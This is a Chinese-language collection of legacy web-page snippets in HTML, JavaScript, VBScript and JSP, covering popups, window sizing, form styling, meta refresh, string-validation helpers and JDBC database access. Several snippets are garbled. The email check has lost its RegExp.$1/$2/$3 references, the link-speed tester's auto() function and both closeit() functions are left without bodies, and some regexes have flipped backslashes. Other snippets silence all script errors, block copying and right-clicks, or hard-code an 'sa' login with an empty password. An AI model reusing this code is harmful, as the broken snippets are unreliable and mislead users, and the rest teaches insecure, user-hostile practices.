<layer>是ns的标记，ie不支持，相当于<div>

让弹出窗口总是在最上面:

1	<body onblur="this.focus();">

不要滚动条?

让竖条没有: 
<body style="overflow:scroll;overflow-y:hidden"> 
</body> 
让横条没有: 
<body style="overflow:scroll;overflow-x:hidden"> 
</body> 
两个都去掉？更简单了 
<body scroll="no"> 
</body>

23.怎样去掉图片链接点击后，图片周围的虚线？

1	<a href="http://www.180it.com/admin.php#" onFocus="this.blur()"><img src="/blog/logo.jpg" border=0></a>

电子邮件处理提交表单

1
2
3

<form name="form1" method="post" action="mailto:****@***.com" enctype="text/plain"> 
<input type=submit>
</form>

在打开的子窗口刷新父窗口的代码里如何写？

1	window.opener.location.reload()

如何设定打开页面的大小

1 2	<body onload="top.resizeTo(300,200);"> 打开页面的位置<body onload="top.moveBy(300,200);">

在页面中如何加入不是满铺的背景图片,拉动页面时背景图不动

<STYLE> 
body 
{background-image:url(/blog/logo.gif); background-repeat:no-repeat; 
background-position:center;background-attachment: fixed} 
</STYLE>

检查一段字符串是否全由数字组成

<script><!--
function checkNum(str){return str.match(//D/)==null}
alert(checkNum("1232142141"))
alert(checkNum("123214214a1"))
// --></script>

获得一个窗口的大小

1	document.body.clientWidth; document.body.clientHeight

怎么判断是否是字符

1 2	if (/[^/x00-/xff]/g.test(s)) alert("含有汉字"); else alert("全是字符");

TEXTAREA自适应文字行数的多少

1 2	<textarea rows=1 name=s1 cols=27 onpropertychange="this.style.posHeight=this.scrollHeight"> </textarea>

日期减去天数等于第二个日期

<script>
function cc(dd,dadd)
{
//可以加上错误处理
var a = new Date(dd)
a = a.valueOf()
a = a - dadd * 24 * 60 * 60 * 1000
a = new Date(a)
alert(a.getFullYear() + "年" + (a.getMonth() + 1) + "月" + a.getDate() + "日")
}
cc("12/23/2002",2)
</script>

选择了哪一个Radio

<HTML><script language="vbscript">
function checkme()
for each ob in radio1
if ob.checked then window.alert ob.value
next
end function
</script><BODY>
<INPUT name="radio1" type="radio" value="style" checked>Style
<INPUT name="radio1" type="radio" value="barcode">Barcode
<INPUT type="button" value="check" onclick="checkme()">
</BODY></HTML>

脚本永不出错

<SCRIPT> 
<!-- Hide 
function killErrors() { 
return true; 
} 
window.onerror = killErrors; 
// --> 
</SCRIPT>

ENTER键可以让光标移到下一个输入框

1	<input onkeydown="if(event.keyCode==13)event.keyCode=9">

检测某个网站的链接速度：把如下代码加入区域中:

<script>
tim=1
setInterval("tim++",100)
b=1
var autourl=new Array()
autourl[1]="www.180it.com"
autourl[2]="javacool.3322.net"
autourl[3]="www.sina.com.cn"
autourl[4]="www.nuaa.edu.cn"
autourl[5]="www.cctv.com"
function butt(){
document.write("<form name=autof>")
for(var i=1;i<autourl.length;i++)
document.write("<input type=text name=txt"+i+" size=10 value="/blog/测试中......>" =》<input type=text 
name=url"+i+" size=40> =》<input type=button value=GO 

onclick=window.open(this.form.url"+i+".value)><br/>")
document.write("<input type=submit value=刷新></form>")
}
butt()
function auto(url)
else

b++
}
function run(){for(var i=1;i<autourl.length;i++)document.write("<img src=http://"+autourl+"/"+Math.random()+" width=1 height=1 

onerror=auto("http://"+autourl+"")>")}
run()</script>

各种样式的光标

auto ：标准光标
default ：标准箭头
hand ：手形光标
wait ：等待光标
text ：I形光标
vertical-text ：水平I形光标
no-drop ：不可拖动光标
not-allowed ：无效光标
help ：?帮助光标
all-scroll ：三角方向标
move ：移动标
crosshair ：十字标
e-resize
n-resize
nw-resize
w-resize
s-resize
se-resize
sw-resize

页面进入和退出的特效

进入页面<meta http-equiv="Page-Enter" content="revealTrans(duration=x, transition=y)">
推出页面<meta http-equiv="Page-Exit" content="revealTrans(duration=x, transition=y)">  
这个是页面被载入和调出时的一些特效。duration表示特效的持续时间，以秒为单位。transition表示使用哪种特效，取值为1-23:
0 矩形缩小 
1 矩形扩大 
2 圆形缩小
3 圆形扩大 
4 下到上刷新 
5 上到下刷新
6 左到右刷新 
7 右到左刷新 
8 竖百叶窗
9 横百叶窗 
10 错位横百叶窗 
11 错位竖百叶窗
12 点扩散 
13 左右到中间刷新 
14 中间到左右刷新
15 中间到上下
16 上下到中间 
17 右下到左上
18 右上到左下 
19 左上到右下 
20 左下到右上
21 横条 
22 竖条 
23 以上22种随机选择一种

在规定时间内跳转

1	<META http-equiv=V="REFRESH" content="5;URL=http://www.williamlong.info">

网页是否被检索

<meta name="ROBOTS" content="属性值">
其中属性值有以下一些:
属性值为"all": 文件将被检索，且页上链接可被查询；
属性值为"none": 文件不被检索，而且不查询页上的链接；
属性值为"index": 文件将被检索；
属性值为"follow": 查询页上的链接；
属性值为"noindex": 文件不检索，但可被查询链接；
属性值为"nofollow": 文件不被检索，但可查询页上的链接。

最大化窗口？

<script>
<!--
self.moveTo(0,0)
self.resizeTo(screen.availWidth,screen.availHeight)
//-->
</script>

解决问题：由于层与下拉框之间的优先级是：下拉框 > 层，因此在显示的时候，会因为优先级的次序而会出现如上问题。（如果几个元素都是层的话，我们可以通过层的 z-index 属性来设置）解决办法就是：给层中放一个优先级比下拉框更高的元素（iframe），从而解决此问题！具体解决代码如下：

<div id="menu" style="position:absolute; visibility:hidden; top:20px; left:20px; width:100px; height:200px; background-color:#6699cc;">
<table>
  <tr><td>item 1</td></tr>
  <tr><td>item 2</td></tr>
  <tr><td>item 3</td></tr>
  <tr><td>item 4</td></tr>
  <tr><td>item 5</td></tr>
  </table>
  <iframe src="/blog/javascript:false" style="position:absolute; visibility:inherit; top:0px; left:0px; width:100px; height:200px; z-index:-1; filter='progid:DXImageTransform.Microsoft.Alpha(style=0,opacity=0)';"></iframe>
</div>

<a href="http://www.180it.com/admin.php#" onclick="document.getElementById('menu').style.visibility='visible'">menu</a>

<form>
  <select><option>A form selection list</option></select>
</form>

输入框也可以做的很漂亮了

<div align="center"><input type="hidden" name="hao" value="yes">
              外向数：<input 
      name=answer 
      style="color: rgb(255,0,0); border-left: medium none; border-right: medium none; border-top: medium none; border-bottom: 1px solid rgb(192,192,192)">
            　没回答的题数：<input 
      name=unanswer id="unanswer" 
      style="color: rgb(255,0,0); border-left: medium none; border-right: medium none; border-top: medium none; border-bottom: 1px solid rgb(192,192,192)">
            <br/>
            总得分:
            <input 
      name=score id="score" 
      style="color: rgb(255,0,0); border-left: medium none; border-right: medium none; border-top: medium none; border-bottom: 1px solid rgb(192,192,192)">
            　结论:
            <input 
      name=xgjg id="xgjg" 
      style="color: rgb(255,0,0); border-left: medium none; border-right: medium none; border-top: medium none; border-bottom: 1px solid rgb(192,192,192)">
            <br/>
            <br/> 
            
            <input onClick=processForm(this.form) style="FONT-FAMILY: 宋体; FONT-SIZE: 9pt" type=button value=查看结果 name="button"> 
             <input type="reset" name="Submit" value="重做">
            </div>
注意：修改<body>为<body onload="max.Click()">即为打开最大

化窗口，而如果改为<body onload="min.Click()">就变为窗口一打开就最小化

<object id="min" type="application/x-oleobject" classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11">
            <param name="Command" value="Minimize">
          </object> <object id="max" type="application/x-oleobject" classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11">
            <param name="Command" value="Maximize">
          </object>
</body>

页面自动刷新（说明）

当你做网页时，是不是有的时候想让你的网页自动不停刷新，或者过一段时间自动跳转到另外一个你自己设定的页面？其实实现这个效果非常地简单，而且这个效果甚至不能称之为特效。你只要把如下代码加入你的网页中就可以了。

1
2
3

1，页面自动刷新：把如下代码加入<head>区域中<meta http-equiv="refresh" content="20">,其中20指每隔20秒刷新一次页面.

2，页面自动跳转：把如下代码加入<head>区域中<meta http-equiv="refresh" content="20;url=http://www.williamlong.info">,其中20指隔20秒后跳转到http://www.180it.com页面。

页面自动关闭

1	5000是指时间<body onLoad="setTimeout(window.close, 5000)">

弹出窗口自动关闭

10秒后弹出窗口自动关闭

注意：在新的tan.htm的body中要加 <onLoad="closeit()">
head

<script>
<!--
var gt = unescape('%3e');
var popup = null;
var over = "Launch Pop-up Navigator";
popup = window.open('', 'popupnav', 'width=225,height=235,resizable=1,scrollbars=auto');

if (popup != null) {
if (popup.opener == null) {
popup.opener = self; 
}
popup.location.href = 'tan.htm';
}

// -->

</script>
<body>注意：这段代码是在新建文件中的
<script>
 function closeit() 
 </script>

这个可不是<iframe>(引用）呀。是直接调用的。以下代码加入<body>区域

<object type="text/x-scriptlet" width="800"  height="1000" data="../index.htm">
</object>

iframe自适应高度代码

var adjustIframe = function (id) {
    var iframe = document.getElementById(id)
    var idoc = iframe.contentWindow && iframe.contentWindow.document || iframe.contentDocument;
    var callback = function () {
        var iheight = Math.max(idoc.body.scrollHeight, idoc.documentElement.scrollHeight); //取得其高
        iframe.style.height = iheight + "px";
    }
    if (iframe.attachEvent) {
        iframe.attachEvent("onload", callback);
    } else {
        iframe.onload = callback
    }
}

HTML代码如下所示：

<iframe id="js_sub_web" width="80%" frameborder="0" scrolling="no" allowTransparency="true" src="http://www.cnblogs.com/rubylouvre/archive/2009/09/15/1566722.html">
</iframe>
===
<iframe id="js_sub_web" width="80%" frameborder="0" scrolling="no" allowTransparency="true" src="http://www.cnblogs.com/rubylouvre/archive/2009/09/15/1566722.html">
</iframe>
=== 
使用代码：

window.onload = function(){
     adjustIframe("js_sub_web");
}

/**
* 一些常用的javascript函数(方法)
*
* 为便于使用，均书写成String对象的方法
* 把他保存为.js文件，可方便的扩展字符串对象的功能
*
* 方法名 功 能
* ----------- --------------------------------
* Trim 删除首位空格
* Occurs 统计指定字符出现的次数
* isDigit 检查是否由数字组成
* isAlpha 检查是否由数字字母和下划线组成
* isNumber 检查是否为数
* lenb 返回字节数
* isInChinese 检查是否包含汉字
* isEmail 简单的email检查
* isDate 简单的日期检查，成功返回日期对象
* isInList 检查是否有列表中的字符字符
* isInList 检查是否有列表中的字符字符
*/
/*** 删除首尾空格 ***/
String.prototype.Trim = function() {
return this.replace(/(^\s*)|(\s*$)/g, "");
}
/*** 统计指定字符出现的次数 ***/
String.prototype.Occurs = function(ch) {
// var re = eval("/[^"+ch+"]/g");
// return this.replace(re, "").length;
return this.split(ch).length-1;
}
/*** 检查是否由数字组成 ***/
String.prototype.isDigit = function() {
var s = this.Trim();
return (s.replace(/\d/g, "").length == 0);
}
/*** 检查是否由数字字母和下划线组成 ***/
String.prototype.isAlpha = function() {
return (this.replace(/\w/g, "").length == 0);
}
/*** 检查是否为数 ***/
String.prototype.isNumber = function() {
var s = this.Trim();
return (s.search(/^[+-]?[0-9.]*$/) >= 0);
}
/*** 返回字节数 ***/
String.prototype.lenb = function() {
return this.replace(/[^\x00-\xff]/g,"**").length;
}
/*** 检查是否包含汉字 ***/
String.prototype.isInChinese = function() {
return (this.length != this.replace(/[^\x00-\xff]/g,"**").length);
}
/*** 简单的email检查 ***/
String.prototype.isEmail = function() {
var strr;
var mail = this;
var re = /(\w+@\w+\.\w+)(\.\w*)(\.\w*)/i;
re.exec(mail);
if(RegExp.!="" && RegExp.!="." && RegExp.!=".")
strr = RegExp.+RegExp.+RegExp.;
else
if(RegExp.!="" && RegExp.!=".")
strr = RegExp.+RegExp.;
else
strr = RegExp.;
return (strr==mail);
}
/*** 简单的日期检查，成功返回日期对象 ***/
String.prototype.isDate = function() {
var p;
var re1 = /(\d)[年./-](\d)[月./-](\d)[日]?$/;
var re2 = /(\d)[月./-](\d)[日./-](\d)[年]?$/;
var re3 = /(\d)[月./-](\d)[日./-](\d)[年]?$/;
if(re1.test(this)) {
p = re1.exec(this);
return new Date(p[1],p[2],p[3]);
}
if(re2.test(this)) {
p = re2.exec(this);
return new Date(p[3],p[1],p[2]);
}
if(re3.test(this)) {
p = re3.exec(this);
return new Date(p[3],p[1],p[2]);
}
return false;
}
/*** 检查是否有列表中的字符字符 ***/
String.prototype.isInList = function(list) {
var re = eval("/["+list+"]/");
return re.test(this);
}

1.文本框焦点问题 
onBlur:当失去输入焦点后产生该事件 
onFocus:当输入获得焦点后，产生该文件 
Onchange:当文字值改变时，产生该事件 
Onselect:当文字加亮后，产生该文件 



<input type="text" value="郭强" onfocus="if(value=='郭强') {value=''}" onblur="if 
(value=='') {value='郭强'}">点击时文字消失，失去焦点时文字再出现 字串4 


2.网页按钮的特殊颜色 
<input type=button name="Submit1" value="郭强" size=10 class=s02 字串5 style="background-color:rgb(235,207,22)"> 




3.鼠标移入移出时颜色变化 
<input type="submit" value="找吧" name="B1" onMouseOut=this.style.color="blue" onMouseOver=this.style.color="red"  class="button"> 


4.平面按钮 
<input type=submit value=订阅 style="border:1px solid :#666666; height:17px; width:25pt; font-size:9pt; BACKGROUND-COLOR: #E8E8FF; color:#666666" name="submit"> 

5.按钮颜色变化 
<input type=text name="nick"  style="border:1px solid #666666;  font-size:9pt;  height:17px;BACKGROUND-COLOR: #F4F4FF; color:#ff6600" size="15" maxlength="16"> 



6.平面输入框 
<input type="text" name="T1" size="20" style="border-style: solid; border-width: 1"> 



7.使窗口变成指定的大小 
<script> 
window.resizeTo(300,283); 
</script> 

8. 使文字上下滚动 
<marquee direction=up scrollamount=1 scrolldelay=100 onmouseover='this.stop()' onmouseout='this.start()' height=60 > 
<!-- head_scrolltext --> 
<tr> 
<td> 
共和国 
</table>        
<!-- end head_scrolltext --> 
</marquee> 字串8 

9. 状态栏显示该页状态 
<base onmouseover="window.status='网站建设 http://www.webmake.cn/' ;return true"> 

10.可以点击文字实现radio选项的选定 
<br> 
&nbsp;&nbsp;&nbsp;&nbsp;<input type="radio" name="regtype" value="A03" id="A03"> 
<label for="A03"> 情侣 : 一次注册两个帐户</label> <br> 



11.可以在文字域的font写onclick事件 



12.打印</a>打印网页 
<a href='javascript:window.print ()'> 


13.线型输入框 
<input type="text" name="key"  size="12" value="关键字" onFocus=this.select() onMouseOver=this.focus()  class="line"> 




14.显示文档最后修改日期 
<script > 
function hi(str) 
{ 
document.write(document.lastModified) 
alert("hi"+str+"!") 
} 
</script> 

15.可以在鼠标移到文字上时就触发事件 
<html> 
<head> 
<script language="LiveScript"> 
<!-- Hiding 
    function hello() { 
      alert("哈罗!"); 
    } 
</script> 
</head> 
<body> 
<a href="" onMouseOver="hello()">link</a> 
</body> 
</html> 



16.可以根据网页上的选项来确定页面颜色 
<HTML> 
<HEAD> 
<TITLE>background.html</TITLE> 
</HEAD> 
<SCRIPT> 
<!-- 
function bgChange(selObj) { 
newColor = selObj.options[selObj.selectedIndex].text; 
document.bgColor = newColor; 
selObj.selectedIndex = -1; 
} 
//--> 
</SCRIPT> 
<BODY STYLE="font-family:Arial"> 
<B>Changing Background Colors</B> 
<BR> 
<FORM> 
 <SELECT SIZE="8" onChange="bgChange(this);"> 
 <OPTION>Red 
 <OPTION>Orange 
 <OPTION>Yellow 
 <OPTION>Green 
 <OPTION>Blue 
 <OPTION>Indigo 
 <OPTION>Violet 
 <OPTION>White 
<OPTION>pink 
 </SELECT> 
</FORM> 
</BODY> 
</HTML> 

17.将按钮的特征改变 
<style type="text/css"> 
<!-- 
.style1 { font-size: 12px; background: #CCCCFF; border-width: thin thin thin thin; border-color: #CCCCFF #CCCCCC #CCCCCC #CCCCFF} 
.style2 { font-size: 12px; font-weight: bold; background: #CCFFCC; border-width: thin medium medium thin; border-color: #CCFF99 #999999 #999999 #CCFF99} 
--> 
</style> 
本例按钮的代码如下： 
<input type="submit" name="Submit" value="提 交" onmouseover="this.className='style2'" onmouseout="this.className='style1'" class="style1"> 


18.改变按钮的图片. 
<style type="text/css"> 
<!-- 
.style3 { font-size: 12px; background: url(image/buttonbg1.gif); border: 0px; width: 60px; height: 22px} 
.style4 { font-size: 12px; font-weight: bold; background: url(image/buttonbg2.gif); border: 0px 0; width: 60px; height: 22px} 
--> 
</style> 
本例的按钮代码如下： 
<input type="submit" name="Submit2" value="提 交" onmouseover="this.className='style4'" onmouseout="this.className='style3'" class="style3"> 


19.打印页面 
<div align="center"><a class=content href="javascript:doPrint();">打印本稿</a></div> 



20.可以直接写html语言 
document.write(""); 

21.改变下拉框的颜色 
<select name="classid" onChange="changelocation(document.myform.classid.options[document.myform.classid.selectedIndex].value)" size="1" style="color:#008080;font-size: 9pt"> 

22.转至目标URL 
window.location="http://guoguo" 

23.传递该object的form 
UpdateSN('guoqiang99267',this.form) 
function UpdateSN(strValue,strForm) 
{ 
 strForm.SignInName.value = strValue; 
 return false; 
} 

24.文字标签 
<label for="AltName4"><input name="AltName" type="RADIO" tabindex="931"  id="AltName4" >guoqiang99859</label> 


25.layer2为组件的ID，可以控制组件是否可见 
document.all.item('Layer2').style.display = "block"; 
document.all.item('Layer2').style.display = "none";// 



26.将页面加入favorite中 
<script > 
<!-- 
function Addme(){ 
url = "http://your.site.address"; //你自己的主页地址 
title = "Your Site Name"; //你自己的主页名称 
window.external.AddFavorite(url,title); 
--> 
</script>// 


27.过10秒自动关闭页面 
<script > 
function closeit() { 
setTimeout("self.close()"，10000) 
} 
</script > 



28.可以比较字符的大小 
char=post.charAt(i); 
if(!('0'<=char&&char<='9')) 


29.将字符转化为数字 
month = parseInt(char) 

30.点击value非空的选项时转向指定连接 
<select onchange='if(this.value!="")window.open(this.value)' class="textinput"> 
   <option selected>主办单位</option> 
   <option>-----------------</option> 
   <option value="http://www.bjd.com.cn/">北京日报</option> 
   <option value="http://www.ben.com.cn/">北京晚报</option> 
</select> 




31.改变背景颜色 
<td width=* class=dp bgColor=#FAFBFC onmouseover="this.bgColor='#FFFFFF';" 
onmouseout="this.bgColor='#FAFBFC';"> 


32.改变文字输入框的背景颜色 
<style> 
.input2 {background-image: url('../images/inputbg.gif');   font-size: 12px; background-color: #D0DABB;border-top-width:1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px} 
</style> 
<input name=content type=text size="47" class="input2" maxlength="50"> 




33.改变水平线的特征 
<hr size="0" noshade color="#C0C0C0"> 

34.传递参数的方式 
<a href="vote.asp?CurPage=8&id=3488">8</a> 




35.页内跳转 
<a href="#1">1</a> 
<a href="#2">2</a> 
<a href="#3">3</a> 
<a href="#4">4</a> 
<a href="#5">5</a> 
<a href="#6">6</a> 
<a href="#7">7</a> 
<a name="1">dfdf</a> 
<a name="2">dfdf</a>// 


36.两个按键一起按下 
if(event.ctrlKey && window.event.keyCode==13)// 




37.刷新页面 
javascript:this.location.reload()// 



38.将网页的按钮使能 
<SCRIPT> 
function haha() 
{ 
for(var i=0;i<document.form1.elements.length;i++) 
{ 
 if(document.form1.elements.name.indexOf("bb")!=-1) 
  document.form1.elements.disabled=!document.form1.elements.disabled; 
} 
} 
</SCRIPT> 
<BODY><form name=form1 > 
<INPUT TYPE="button" NAME="aa "  value=cindy onclick=haha() > 
<INPUT TYPE="button" NAME="bb " value=guoguo > 
<INPUT TYPE="button" NAME="bb " value=guoguo > 


39.文字移动 
<marquee scrollamount=3 onmouseover=this.stop(); onmouseout=this.start(); > 

40.双击网页自动跑 
<SCRIPT> 
var currentpos,timer; 
function initialize() 
{ 
timer=setInterval("scrollwindow()",1); 
} 
function sc() 
{ 
clearInterval(timer); 
} 
function scrollwindow() 
{ 
currentpos=document.body.scrollTop; 
window.scroll(0,++currentpos); 
if (currentpos != document.body.scrollTop) 
 sc(); 
} 
document.onmousedown=sc 
document.ondblclick=initialize 
</SCRIPT>// 



41.后退 
<INPUT TYPE="button" onclick= window.history.back() value=back > 

42.前进 
<INPUT TYPE="button" onclick= window.history.forward() value= forward > 

43.刷新 
<INPUT TYPE="button" onclick= document.location.reload() value=reload > 

44.转向指定网页 
document.location="http://ww"或者document.location.assign("") 


45.在网页上显示实时时间 
<SCRIPT> 
var clock_id; 
window.onload=function() 
{ 
clock_id=setInterval("document.form1.txtclock.value=(new Date);",1000) 
} 
</SCRIPT>// 

46.可以下载文件 
document.location.href="目标文件"// 

47.连接数据库 
import java.sql.*; 
String myDBDriver="sun.jdbc.odbc.JdbcOdbcDriver"; 
Class.forName(myDBDriver); 
Connection conn=DriverManager.getConnection("jdbc:odbc:firm","username","password"); 
Statement stmt=conn.createStatement(); 
ResultSet rs=stmt.executeQuery(sql); 
rs.getString("column1");// 

48.可以直接在页面“div”内写下所需内容 
<INPUT TYPE="button" onclick="a1.innerHTML='<font color=red>*</font>'"> 
<div id= a1 ></div>// 


49.可以改变页面上的连接的格式，使其为双线 
<style> 
A:link {text-decoration: none; color:#0000FF; font-family: 宋体} 
A:visited {text-decoration: none; color: #0000FF; font-family: 宋体} 
A:hover {text-decoration: underline overline; color: FF0000} 
</style> 



<style> 
A:link {text-decoration: none; color:#0000FF; font-family: 宋体} 
A:visited {text-decoration: none; color: #0000FF; font-family: 宋体} 
A:hover {text-decoration: underline overline line-through; color: FF0000} 
TH{FONT-SIZE: 9pt} 
TD{FONT-SIZE: 9pt} 
body {SCROLLBAR-FACE-COLOR: #A9D46D; SCROLLBAR-HIGHLIGHT-COLOR: #e7e7e7;SCROLLBAR-SHADOW-COLOR:#e7e7e7; 
SCROLLBAR-3DLIGHT-COLOR: #000000; LINE-HEIGHT: 15pt; SCROLLBAR-ARROW-COLOR: #ffffff; 
SCROLLBAR-TRACK-COLOR: #e7e7e7;} 
INPUT{BORDER-TOP-WIDTH: 1px; PADDING-RIGHT: 1px; PADDING-LEFT: 1px; BORDER-LEFT-WIDTH: 1px; FONT-SIZE: 
9pt; BORDER-LEFT-COLOR: #cccccc; 
BORDER-BOTTOM-WIDTH: 1px; BORDER-BOTTOM-COLOR: #cccccc; PADDING-BOTTOM: 1px; BORDER-TOP-COLOR: #cccccc; 
PADDING-TOP: 1px; HEIGHT: 18px; BORDER-RIGHT-WIDTH: 1px; BORDER-RIGHT-COLOR: #cccccc} 
DIV,form ,OPTION,P,TD,BR{FONT-FAMILY: 宋体; FONT-SIZE: 9pt} 
textarea, select {border-width: 1; border-color: #000000; background-color: #efefef; font-family: 宋体; 
font-size: 9pt; font-style: bold;} 
.text { font-family: "宋体"; font-size: 9pt; color: #003300; border: #006600 solid; border-width: 1px 1px 1px 1px} 
</style>完整的css 





50.新建frame 
<a href="javascript:newframe('http://www.163.net/help/a_little/index.html','http://www.163.net/help/a_little/a_13.html')"><img alt=帮助 border=0 src="/upimg/allimg/070404/1451210.gif"></a> 



51.向文件中写内容 
<%@ page import="java.io.*" %> 
<% 
String str = "print me"; 
//always give the path from root. This way it almost always works. 
String nameOfTextFile = "/usr/anil/imp.txt"; 
try 
{ 
 PrintWriter pw = new PrintWriter(new FileOutputStream(nameOfTextFile)); 
 pw.println(str); 
 //clean up 
 pw.close(); 
} 
catch(IOException e) 
{ 
 out.println(e.getMessage()); 
} 
%> 




52.先读文件再写文件 
<%@ page language = "java" %> 
<%@ page contentType = "text/html; charSet=gb2312" %> 
<%@ page import ="java.util.*" %> 
<%@ page import ="java.lang.*" %> 
<%@ page import ="javax.servlet.*" %> 
<%@ page import ="javax.servlet.jsp.*" %> 
<%@ page import ="javax.servlet.http.*" %> 
<%@ page import="java.io.*" %> 
eryrytry 
<% 
int count=0; 
FileInputStream fi =new FileInputStream ("count.txt"); 
ObjectInputStream si= new ObjectInputStream (fi); 
count =si.readInt(); 
count++; 
out.print(count); 
si.close(); 
FileOutputStream fo =new FileOutputStream ("count.txt"); 
ObjectOutputStream so= new ObjectOutputStream (fo); 
so.writeInt(count); 
so.close(); 
%> 

53.直线型输入框 
<INPUT name=Password size=10 type=password style="border-left-width: 0; border-right-width: 0; 字串6 border-top-width: 0; border-bottom-style: solid; border-bottom-width: 1; background-color: #9CEB9C"> 




54.可以将背景改为按钮性状，通过改变css改变属性 
<td width="65" align="center" bgcolor="#E0E0E0" onmouseover=this.className='mouseoverbt'; onmouseout=this.className='mouseout';><a href="tm.asp?classid=76"><font color="#000000">录音笔</font></a></td> 
<style> 
.mouseoverbt 
{ 
background-image: url(http://www.yongle.com.cn/img/btbgw64h20y.gif); 
background-repeat: no-repeat; 
} 
.mouseout 
{ 
background-color: #E0E0E0; 
} 
</style> 


55.同时按下CTRL和Q键 
document.onkeydown=function() 
{ 
if(event.ctrlKey&&event.keyCode==81) 
{alert(1)} 
}// 



56.以下是一个完整的显示hint的代码，其思想是当鼠标停留是将div中的内容显示在鼠标出，当鼠标移出后在将该div隐 藏掉 
-------------------------------------------------
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> 
<HTML> 
<style> 
#hint{ 
width:198px; 
border:1px solid #000000; 
background:#99ff33; 
position:absolute; 
z-index:9; 
padding:6px; 
line-height:17px; 
text-align:left; 
top: 1520px; 
} 
</style> 
<SCRIPT> 
<!-- 
function showme() 
{ 
var oSon=window.document.getElementById("hint"); 
if (oSon==null) return; 
with (oSon) 
{ 
 innerText=guoguo.value; 
 style.display="block"; 
 style.pixelLeft=window.event.clientX+window.document.body.scrollLeft+6; 
 style.pixelTop=window.event.clientY+window.document.body.scrollTop+9; 
} 
} 
function hidme() 
{ 
var oSon=window.document.getElementById("hint"); 
if (oSon==null) return; 
oSon.style.display="none"; 
} 
//--> 
</SCRIPT> 
<BODY> 



<text id=guoguo value=ga > 
<a href=# onmouseover=showme() onmouseout=hidme() onmousemove=showme() son=hint >dfdfd </a> 
<div id=hint style="display:none"></div> 
</BODY> 
</HTML> 
-------------------------------------------------


57.弹出窗口 
方法一：<body onload="openwen()"> 浏览器读页面时弹出窗口； 
方法二：<body onunload="openwen()"> 浏览器离开页面时弹出窗口； 
方法三：用一个连接调用：<a href="#" onclick="openwin()">打开一个窗口</a> 
注意：使用的"#"是虚连接。 
方法四：用一个按钮调用：<input type="button" onclick="openwin()" value="打开窗口"> 何时装载script 




58.动态改变字体的大小 
function doZoom(size) 
{ 
  document.getElementById('zoom').style.fontSize=size+'px' 
} 



function aa() 
{ 
  var newWin=window.open(url); 
  newWin.document.form1.text1.value=value1; 
}改变弹出窗口上域的属性 
opener.document.form2.text2.value=value2;改变父窗口的域的值 




59.判断是何种浏览器 
var name = navigator.appName; 
if (name == "Microsoft Internet Explorer") 
alert("IE"); 
else if (name == "Netscape") 
alert("NS");// 

60.vbsscript确定框 
<script language="VBScript"> 
<!-- 
MsgBox "确定删除吗？", 4 
//--> 
</script>// 

61.复制内容到剪切板 
function JM_cc(bb) 
{ 
   var ob=eval("document.form1."+bb); 
   ob.select(); 
   js=ob.createTextRange(); 
   js.execCommand("Copy"); 
}// 


62.java中建立数据库连接取数据 
public void init() 
{ 
String url="jdbc:odbc:javadata"; 
try 
{ 
 Class.forName("sun.jdbc.odbc.JdbcOdbcDriver"); 
 Connection con=DriverManager.getConnection(url,"sa","");//mssql database user SA and password 
 DatabaseMetaData dma=con.getMetaData(); 
 System.out.println("Connect to"+dma.getURL()); 
 System.out.println(";Driver "+dma.getDriverName()); 
 System.out.println(";Version "+dma.getDriverVersion()); 
 System.out.println(""); 
 Statement stmt=con.createStatement(); 
 ResultSet rs=stmt.executeQuery("select * from company.dbo.TB_NAME where number=1");//Sql 
 rs.next(); 
 String dispresult=rs.getString("name"); 
 System.out.println(dispresult);// Instead,you can display it in Paint() or use AWT etc. 
 rs.close(); 
 stmt.close(); 
 con.close(); 
} 
catch(SQLException ex) 
{ 
 System.out.println("!!!SQL Exception !!!"); 
 while(ex!=null) 
 { 
  System.out.println("SQLState:"+ex.getSQLState()); 
  System.out.println("Message:"+ex.getMessage()); 
  System.out.println("Vendor:"+ex.getErrorCode()); 
  ex=ex.getNextException(); 
  System.out.println(""); 
 } 

} 
catch(java.lang.Exception ex) 
{ 
 ex.printStackTrace(); 
} 
}// 





63.最小化窗口 
window.blur()// 



64.文档的路径 
document.URL// 

65.定时执行某段程序 
setTimeout("change_color()",600); 

66.设置为主页 
function makeHome(){ 
 netscape.security.PrivilegeManager.enablePrivilege("UniversalPreferencesWrite"); 
 navigator.preference("browser.startup.homepage", location.href); 
}// 




67.设置为收藏 
function addFav(){ 
 if(ie) 
   window.external.AddFavorite(location.href,'WWW.OGRISH.COM : GROTESQUE MOVIES AND PICTURES'); 
 if(ns) 
   alert("Thanks for the bookmark!\n\nNetscape users click OK then press CTRL-D"); 
}// 

68.判断cookie是否可用 
navigator.cookieEnabled;// 




69.显示有模式的有页面的弹出窗口 
function setbgcolor_onclick() 
{ 
    var color = showModalDialog("/mailpage/compose/colorsel.html",0,"help=0"); 
    if (color != null) 
    { 
        document.compose.bgcolor.value = color; 
    } 
}// 





70.截取小数点后两位 
var a=3454545.4454545; 
alert(a.toFixed(2));// 




71.禁止选择页面上的文字来拷贝 
<script> 
function noEffect() { 
 with (event) { 
   returnValue = false; 
   cancelBubble = true; 
 } 
 return; 
} 
</script> 
<body onselectstart="noEffect()" oncontextmenu="noEffect()">// 



72.屏蔽右键菜单 
oncontextmenu="event.returnValue = false"// 

73.事件禁止起泡 
event.cancelBubble = true// 

74.禁止在输入框打开输入法 
<input style="ime-mode: disabled">// 



75.屏蔽汉字和空格 
<input name="txt"><input type="submit" onClick="alert(!/[^ -}]|\s/.test(txt.value))">// 

76.用javascript判断文件是否存在 
function Exists(filespec) 
{ 
    if (filespec) 
    { 
        var fso; 
        fso = new ActiveXObject("Scripting.FileSystemObject"); 
        alert(fso.FileExists(filespec)); 
    } 
} 
选择图片 <input type=file name=f1><p> 
<input type="submit" onClick="Exists(f1.value)">// 

77.获得当前的文本框选中的文字 
<input onmouseup="alert(document.selection.createRange().text)" value=123>// 

78.跳转至目标页面，同时不可返回 
<a href="javascript:location.replace('http://www.sohu.com/')">sohu.com</a>// 


79.获得当前的行是表格的第几行 
<script> 
function getrow(obj) 
{ 
  if(event.srcElement.tagName=="TD"){ 
  curRow=event.srcElement.parentElement; 
  alert("这是第"+(curRow.rowIndex+1)+"行"); 

  } 
} 
</script> 

<table border="1" width="100%" onclick=getrow(this)> 
 <tr> 
   <td width="20%">　</td> 
   <td width="20%">　</td> 
   <td width="20%">　</td> 
   <td width="20%">　</td> 
   <td width="20%">　</td> 
 </tr> 
 <tr> 
